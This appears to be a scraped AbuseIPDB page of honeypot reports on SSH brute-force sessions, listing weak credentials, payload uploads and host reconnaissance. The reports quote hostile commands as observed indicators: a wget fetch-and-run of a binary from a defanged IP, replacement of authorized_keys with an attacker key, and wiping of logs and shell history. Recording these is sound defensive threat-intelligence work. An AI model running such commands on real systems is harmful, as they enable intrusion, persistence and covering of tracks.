Two SSH sessions in 40s using credentials ec2-user/123456 and master/wasd over SSH-2.0-Go. Attacker ...
show moreTwo SSH sessions in 40s using credentials ec2-user/123456 and master/wasd over SSH-2.0-Go. Attacker uploaded /home/honeypot/.16 twice, then tried to run it from /home/<user>/.16, chmod +x it, and delete it. They used sudo with both passwords, then issued cleanup commands to remove /home/<user>/.16, clear /var/log/wtmp, delete .bash_history, and run history -c. Other commands included echo markers check_0e1e0c86f5d8cdc1f82efe69ad2092b1_transport_done and check_8786752993cc5a90e8a57650de26e6c8_transport_done. Observed activity shows credential guessing, file upload/execution, and log-trace deletion attempts.
show less
Observed 2 SSH sessions over 5 minutes using root/111111 from an SSH-2.0-Go client. Activity was lim ...
show moreObserved 2 SSH sessions over 5 minutes using root/111111 from an SSH-2.0-Go client. Activity was limited to host and CPU enumeration plus wrapper/test commands: uname, nproc checks, PATH export, and multiple sh -c probes printing “check_*” markers. One command attempted sudo with the same password to run nproc. No downloads, file writes, persistence, port forwarding, lateral movement, or additional credential attempts were observed. No malware payloads, artifacts, or hashes were observed.
show less
3 SSH sessions in 14s from libssh_0.9.6. Tried logins: 345gs5662d34/345gs5662d34, eservice/3245gs566 ...
show more3 SSH sessions in 14s from libssh_0.9.6. Tried logins: 345gs5662d34/345gs5662d34, eservice/3245gs5662d34, eservice/eservice. After login it ran "cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXx"..." to replace the SSH authorized_keys file, then "cd ~; chattr -ia .ssh; lockr -ia .ssh" to remove immutable flags and modify .ssh. No downloads, port forwards, lateral movement, or artifacts were observed.
show less
Two SSH sessions from SSH-2.0-Go used credentials admin1/123 and master/wasd. Activity focused on de ...
show moreTwo SSH sessions from SSH-2.0-Go used credentials admin1/123 and master/wasd. Activity focused on deploying and testing a dropped file named .16, uploaded twice to /home/honeypot/.16. After upload, the actor tried to run the file directly and via sudo with both passwords, made it executable with chmod +x, then removed it with rm -rf. Commands also printed check_2c4f21153f3ee751c9f0907f25339596_transport_done and check_4e148f6f2d7ecfca83924513125cf04b_transport_done, then 29 additional unique commands not listed. No successful persistence, lateral movement, or downloads were observed. Creds used: admin1/123, master/wasd.
show less
SSH brute-force activity followed by attempted SSH key installation and anti-protection actions. Obs ...
show moreSSH brute-force activity followed by attempted SSH key installation and anti-protection actions. Observed 6 sessions using SSH-2.0-libssh_0.9.6 with credentials b2b/b2b, b2b/root3245gs5662d34111111111, and rootssssss23424123123/rootssssss23424123123. After access, the actor ran cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXx... and cd ~; chattr -ia .ssh; lockr -ia .ssh. This shows deletion/recreation of the SSH directory, attempted public key placement for persistence, and attempts to remove immutable/append-only attributes or similar protections before further access. No file downloads, malware drop, lateral movement, or port forwarding were observed.
show less
Single SSH session using root/------fuck------. Attacker checked system info with uname -m and uname ...
show moreSingle SSH session using root/------fuck------. Attacker checked system info with uname -m and uname -s, then attempted to stage a binary: cd /tmp; rm -f aarch64; wget -t 1 hxxp://31[.]56[.]209[.]73:32461/s/aarch64, followed by chmod 777 /tmp/aarch64 and execution of /tmp/aarch64. Dropped artifact recovered: aarch64, large binary, 4.9 MB, SHA-256 0ed1b127a19c6ddf304bdb75707ae45c06cb4c994456c6c665ceb360d80bf1d0. No persistence, port forwarding, or lateral movement observed in this session.
show less
7 SSH sessions in ~4 minutes using SSH-2.0-Go and SSH-2.0-paramiko_4.0.0. Tried weak credentials: ad ...
show more7 SSH sessions in ~4 minutes using SSH-2.0-Go and SSH-2.0-paramiko_4.0.0. Tried weak credentials: admin/letmein, admin1/123, ec2-user/123456, master/wasd, root/root. Uploaded file .16 twice. Executed the uploaded payload from /home/<user>/.16, then ran chmod +x on it and removed it with rm -rf after execution. Also attempted sudo execution paths with supplied passwords via echo '123' | sudo -S and echo 'wasd' | sudo -S. Other commands were limited to status checks like echo 'check_..._transport_done'. No port forwards, persistence, lateral movement, or other downloads were observed.
show less
Multiple SSH login attempts from SSH-2.0-libssh_0.9.6 used weak credentials: hello/hello, hello/root ...
show moreMultiple SSH login attempts from SSH-2.0-libssh_0.9.6 used weak credentials: hello/hello, hello/root3245gs5662d34111111111, and rootssssss23424123123/rootssssss23424123123. After access, the session ran commands to remove and recreate the ~/.ssh directory, then wrote an ssh-rsa public key into ~/.ssh for unauthorized access persistence. A second command attempted to clear immutable/append-only attributes on ~/.ssh with chattr -ia and lockr -ia. No downloads, lateral movement, or dropped artifacts were observed.
show less
3 SSH sessions in 7 seconds using SSH-2.0-libssh_0.9.6. Login attempts used 345gs5662d34/345gs5662d3 ...
show more3 SSH sessions in 7 seconds using SSH-2.0-libssh_0.9.6. Login attempts used 345gs5662d34/345gs5662d34, nokia/3245gs5662d34, and nokia/nokia. After access, the actor ran "cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXx" to remove and recreate the SSH directory and write an SSH public key, then "cd ~; chattr -ia .ssh; lockr -ia .ssh" to clear immutable/append-only flags and lock .ssh. No downloads, dropped files, port forwards, or lateral movement were observed.
show less
SSH login attempts used admin/letmein and admin1/123 over SSH-2.0-Go. After access, the actor upload ...
show moreSSH login attempts used admin/letmein and admin1/123 over SSH-2.0-Go. After access, the actor uploaded /home/honeypot/.16 twice, made it executable with chmod +x, attempted to run it via sudo and direct execution, then removed it with rm -rf. The session also sent marker commands echoing check_028164171a7d75938b4b9ad56e7656db_transport_done and check_516c79110f936977c8ee12ee5021c4b1_transport_done. No lateral movement, port forwarding, or additional files were observed. 44 total commands across 39 unique commands indicate automated post-auth execution focused on staging and launching a dropped binary, then cleanup.
show less
Attempted SSH logins with admin1/123 and ec2-user/123456 from an SSH-2.0-Go client. After login, the ...
show moreAttempted SSH logins with admin1/123 and ec2-user/123456 from an SSH-2.0-Go client. After login, the session checked for and executed a payload at /home/<user>/.16, ran it under sudo attempts, then changed it to executable with chmod +x and removed it with rm -rf. The same payload was uploaded twice as /home/honeypot/.16. Commands also included simple checks like echo 'check_094063c70b3ca0759e2663d13afb0c8d_transport_done' and echo 'check_7e8704edea5c0361f77cd4a84973efec_transport_done'. No additional downloads, persistence, port forwarding, or lateral movement were observed.
show less
Nine SSH sessions in 5 minutes from Go and paramiko clients. Tried credentials: admin/letmein, admin ...
show moreNine SSH sessions in 5 minutes from Go and paramiko clients. Tried credentials: admin/letmein, admin1/123, ec2-user/123456, master/, root/. Uploaded /home/honeypot/.16 twice, then attempted to execute it via sudo and direct shell, followed by chmod +x and rm -rf cleanup attempts. Commands show repeated checks for transport completion tokens: check_2210c98029dcb67319b8c1b5821d03e4_transport_done and check_5ca0b263d39a7468d6ffa27079f75b8d_transport_done. No download URLs, port forwarding, lateral movement, or other persistence mechanisms observed. Reported activity is credential guessing, file upload, execution attempts, and removal of the dropped file.
show less
Two SSH sessions in 55 seconds using SSH-2.0-Go and credentials admin/letmein and root/root. Attacke ...
show moreTwo SSH sessions in 55 seconds using SSH-2.0-Go and credentials admin/letmein and root/root. Attacker uploaded the file /home/honeypot/.16 twice, then tried to execute it from /home/<user>/.16, ran chmod +x on that path, and repeatedly attempted rm -rf to remove it. Commands show sudo abuse with both passwords: echo 'letmein' | sudo -S ... and echo 'root' | sudo -S .... The session also included simple transport-check echoes (check_127de2489092118f5f5ca491f08ef68b_transport_done, check_1348835bc7bf8994d50a30ea8810ff26_transport_done). Observed activity: credential guessing, file upload, execution attempt, permission change, and cleanup/removal attempt. No lateral movement, port forwarding, or additional downloads were observed.
show less
Multiple SSH login attempts were made with the credentials joao/123456, joao/root3245gs5662d34111111 ...
show moreMultiple SSH login attempts were made with the credentials joao/123456, joao/root3245gs5662d34111111111, and rootssssss23424123123/rootssssss23424123123 using SSH-2.0-libssh_0.9.6. After access, the actor ran cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXx and cd ~; chattr -ia .ssh; lockr -ia .ssh. Observed activity focused on creating/modifying the .ssh directory and trying to remove immutable attributes with chattr and lockr. No downloads, payload execution, persistence beyond .ssh changes, port forwarding, lateral movement, or dropped files were observed.
show less
Attempted SSH login with admin1/123 and master/wasd over SSH-2.0-Go. After access, the actor tried t ...
show moreAttempted SSH login with admin1/123 and master/wasd over SSH-2.0-Go. After access, the actor tried to run and manage a dropped binary named .16: executed it from /home/<user>/.16, made it executable with chmod +x, and removed it with rm -rf. The session also included repeated sudo -S usage with both passwords and output markers “check_13b4b967bfeb01ea5f822beeaca85228_transport_done” and “check_682e9148114967069e0ec18ef1fe75d0_transport_done”. Two uploads of /home/honeypot/.16 were observed. No hashes provided. Likely malware payload staging and cleanup activity; no lateral movement or additional downloads were observed.
show less
Single SSH session from SSH-2.0-Go using credentials root/------fuck------. Attacker checked system ...
show moreSingle SSH session from SSH-2.0-Go using credentials root/------fuck------. Attacker checked system architecture with uname -m and uname -s, then removed any existing /tmp/aarch64, downloaded a payload from hxxp://31[.]56[.]209[.]73:32461/s/aarch64 to /tmp/aarch64, and set it executable with chmod 777 /tmp/aarch64. No persistence, lateral movement, port forwarding, or additional commands were observed in this session. Downloaded file: /tmp/aarch64 (size not provided; SHA-256 not provided).
show less
SSH login attempts used root with a password containing “fuck”. After access, the actor ran uname -s ...
show moreSSH login attempts used root with a password containing “fuck”. After access, the actor ran uname -s -m to check OS and architecture. No downloads, file drops, persistence, port forwarding, lateral movement, or additional commands were observed. Client identified as SSH-2.0-Go.
show less
7 SSH sessions from SSH-2.0-Go and SSH-2.0-paramiko_4.0.0 used admin/letmein, admin1/123, ec2-user/1 ...
show more7 SSH sessions from SSH-2.0-Go and SSH-2.0-paramiko_4.0.0 used admin/letmein, admin1/123, ec2-user/123456, master/wasd, and root/root. Activity focused on staging and executing a hidden file named .16 in /home/honeypot, then changing its mode and deleting it. Observed commands include sudo -S sh -c, chmod +x, rm -rf, direct execution of /home/<user>/.16, and status checks echoing check_6aabfb5f983e9d10ad9d248a0e0efa03_transport_done and check_a12c37ae5c86207103a61ae35b42b081_transport_done. Two uploads of /home/honeypot/.16 were recorded. No additional lateral movement, port forwarding, or recon commands were observed beyond execution/persistence cleanup around the uploaded payload.
show less
167 SSH login sessions in 13m31s using a large credential spray against many common/default accounts ...
show more167 SSH login sessions in 13m31s using a large credential spray against many common/default accounts, including root/admin/ubuntu/debian/ec2-user/elastic/odoo/splunk/git/ftpuser/user/test. SSH client string: SSH-2.0-Go. After login, only 2 commands were observed across 330 executions: uname -m | awk '{printf $1}' and uname -s -v -n -r -m. No downloads, file creation, persistence, port forwarding, lateral movement, or malware payloads were observed. Activity was limited to authentication attempts and basic host reconnaissance.
show less
Observed 8 SSH login sessions from an SSH-2.0-Go client over ~12 minutes. The attacker tried these u ...
show moreObserved 8 SSH login sessions from an SSH-2.0-Go client over ~12 minutes. The attacker tried these username/password pairs: firedAncer/firedAncer, firedancer/Fire!2026dancer, firedancer/FireDancer123, firedancer/fireDancer, firedancer/solana, sol/SoLaNa, sol/sOl, ubuntu/bananasolana. After login, they ran host/GPU reconnaissance only: /bin/./uname -s -v -n -r -m, uptime -p, several lspci queries for VGA/3D controller devices, and nvidia-smi -q checks for “Product Name.” No downloads, file writes, persistence, port forwarding, lateral movement, or malware artifacts were observed.
show less
Two SSH sessions from SSH-2.0-Go used credentials ec2-user/123456 and master/wasd. After login, the ...
show moreTwo SSH sessions from SSH-2.0-Go used credentials ec2-user/123456 and master/wasd. After login, the actor attempted to run a dropped payload named .16 from /home/<user>/.16, first with sudo -S, then directly, then made it executable with chmod +x and removed it with rm -rf after execution attempts. The same sequence was repeated for both credentials. Commands also included check_59371b760a5ee1d5fe0d1f879c17c566_transport_done and check_5e2197c9f9a77055ab5a3a6761c86619_transport_done, plus 29 additional unique commands not listed. Two file uploads of .16 occurred. Observed activity: credential guessing, payload staging, execution attempt, permission change, and cleanup of the dropped file.
show less
44 SSH sessions over ~5 hours. Credentials attempted: admin/letmein, admin1/, admin1/123, ec2-user/1 ...
show more44 SSH sessions over ~5 hours. Credentials attempted: admin/letmein, admin1/, admin1/123, ec2-user/123456, master/wasd, root/root, plus sudo passwords 123 and 123456. Activity focused on a dropped hidden executable, /home/<user>/.16, which was executed repeatedly, marked executable with chmod +x, and removed with rm -rf. A cleanup command attempted to erase traces by truncating /var/log/wtmp, deleting .bash_history, and clearing shell history. 354 unique commands were observed, indicating broad automated post-login activity. Artifact recovered: “.16” hidden executable, 1.6 MB, SHA-256 9775d376f5e5b3ed0d79d1179abf0f1e6b699e71e8171b354bb063ed166e5aa0.
show less
SSH brute force across 7 sessions using admin/letmein, admin1/123, ec2-user/123456, master/wasd, and ...
show moreSSH brute force across 7 sessions using admin/letmein, admin1/123, ec2-user/123456, master/wasd, and root/root from SSH-2.0-Go and SSH-2.0-paramiko_4.0.0 clients. After login, attacker uploaded a file named .16 twice to /home/honeypot, then attempted to run it via sudo and direct execution, chmod +x, and rm -rf on /home/<user>/.16. Commands also included repeated sudo -S wrappers with passwords root and wasd, plus status checks like check_066201aea04707ebaf321805650e6acb_transport_done and check_21f4d3504292595364a8cc6acea6e05c_transport_done. Activity shows credential guessing, payload staging/execution, and cleanup/deletion attempts. No lateral movement, port forwarding, or additional downloads observed.
show less
Two SSH sessions from SSH-2.0-Go used credentials admin1/123 and root/root. The actor uploaded /home ...
show moreTwo SSH sessions from SSH-2.0-Go used credentials admin1/123 and root/root. The actor uploaded /home/honeypot/.16 twice, then tried to execute it with sudo, make it executable with chmod +x, and remove it with rm -rf. Commands also printed check_0841a817cd38f3122526ca8964bee556_transport_done and check_3be330360ba789a86a87b227cd612fd2_transport_done. No successful command output, downloads, persistence setup, port forwarding, or lateral movement were observed. Activity focused on staging and attempting to run a dropped payload and then deleting it.
show less
Brute-ForceSSHHacking
By clicking “Accept all”, you agree to the storing of cookies on your device to remember preferences and
analyze site usage.
Read more
- Required to log into your AbuseIPDB account, and store these cookie preferences.